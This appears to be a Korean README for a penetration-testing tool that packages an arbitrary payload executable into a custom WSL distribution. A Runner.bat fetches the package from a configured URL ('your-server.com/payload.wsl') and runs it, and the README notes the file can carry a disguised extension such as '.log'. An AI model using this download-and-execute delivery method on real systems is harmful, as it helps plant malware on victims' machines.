
페이로드가 내장된 커스텀 WSL(Linux용 Windows 하위 시스템) 배포판을 생성하기 위한 강력한 셸 스크립트입니다.
이 도구는 합법적인 보안 연구 및 침투 테스트를 위해 제작되었습니다. 사용자는 자신이 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템을 테스트하기 전에 적절한 권한을 확보할 책임이 있습니다.
임베디드 페이로드가 포함된 최소한의 WSL(Windows Subsystem for Linux) 배포판을 생성하기 위한 셸 스크립트입니다. 이 도구는 실행 시 사용자 지정 페이로드를 실행할 수 있는 Alpine Linux 기반 WSL 배포판을 빌드하는 프로세스를 자동화합니다.
Build_WSL_Payload.sh 스크립트는 최신 Alpine Linux rootfs를 다운로드하고, WSL 사용에 맞게 사용자 지정하며, 사용자가 지정한 실행 파일을 포함시키고, 모든 것을 배포 가능한 .wsl 파일로 패키징합니다.
Runner.bat은 제공된 URL에서 WSL 구성 파일을 다운로드하여 실행합니다 (WSL이 설치되어 있지 않고 관리자 권한이 있는 경우 WSL을 설치합니다)
이는 침투 테스트, 보안 연구 및 사용자 지정 WSL 환경 생성에 특히 유용합니다.
-N, --name: WSL의 기본 배포판 이름을 지정합니다-P, --payload: 페이로드 실행 파일의 경로를 지정합니다-H, --help: 도움말 메뉴를 표시합니다# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe
옵션 1. 더블 클릭 - WSL 파일을 더블 클릭하면 페이로드가 실행되지만 수동으로 닫아야 하는 cmd 프롬프트도 함께 열립니다. (권장하지 않음)
옵션 2. Runner.bat 파일 사용
C:\Users\USER_NAME> .\Runner.bat
Runner.bat 스크립트는 자동으로 다음을 수행합니다:
사용자 지정을 위해 Runner.bat 상단의 변수를 편집하세요:
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here.
이 프로젝트는 dmcxblue/WSL-Payloads 저장소에 문서화된 연구 및 기법에서 영감을 받아 이를 기반으로 구축되었습니다. 이 저장소는 WSL 파일 형식 무기화 및 보안 연구에 대한 귀중한 통찰력을 제공합니다.
MIT 라이선스
이에 따라 본 소프트웨어 및 관련 문서 파일(이하 "소프트웨어")의 사본을 얻은 모든 사람에게는 다음 조건에 따라 소프트웨어를 제한 없이 다룰 수 있는 권한이 무료로 부여됩니다. 여기에는 사용, 복사, 수정, 병합, 게시, 배포, 서브라이선스 및/또는 소프트웨어 사본 판매 권한과 소프트웨어가 제공된 사람에게 그러한 행위를 허용할 권한이 포함되며 이에 국한되지 않습니다:
위 저작권 고지 및 본 허가 고지는 소프트웨어의 모든 사본 또는 상당 부분에 포함되어야 합니다.
소프트웨어는 명시적이든 묵시적이든 어떠한 종류의 보증 없이 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해성에 대한 보증은 이에 국한되지 않습니다. 어떠한 경우에도 저자 또는 저작권 보유자는 계약, 불법 행위 또는 기타 행위로 인해 소프트웨어 또는 소프트웨어의 사용 또는 기타 거래와 관련하여 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.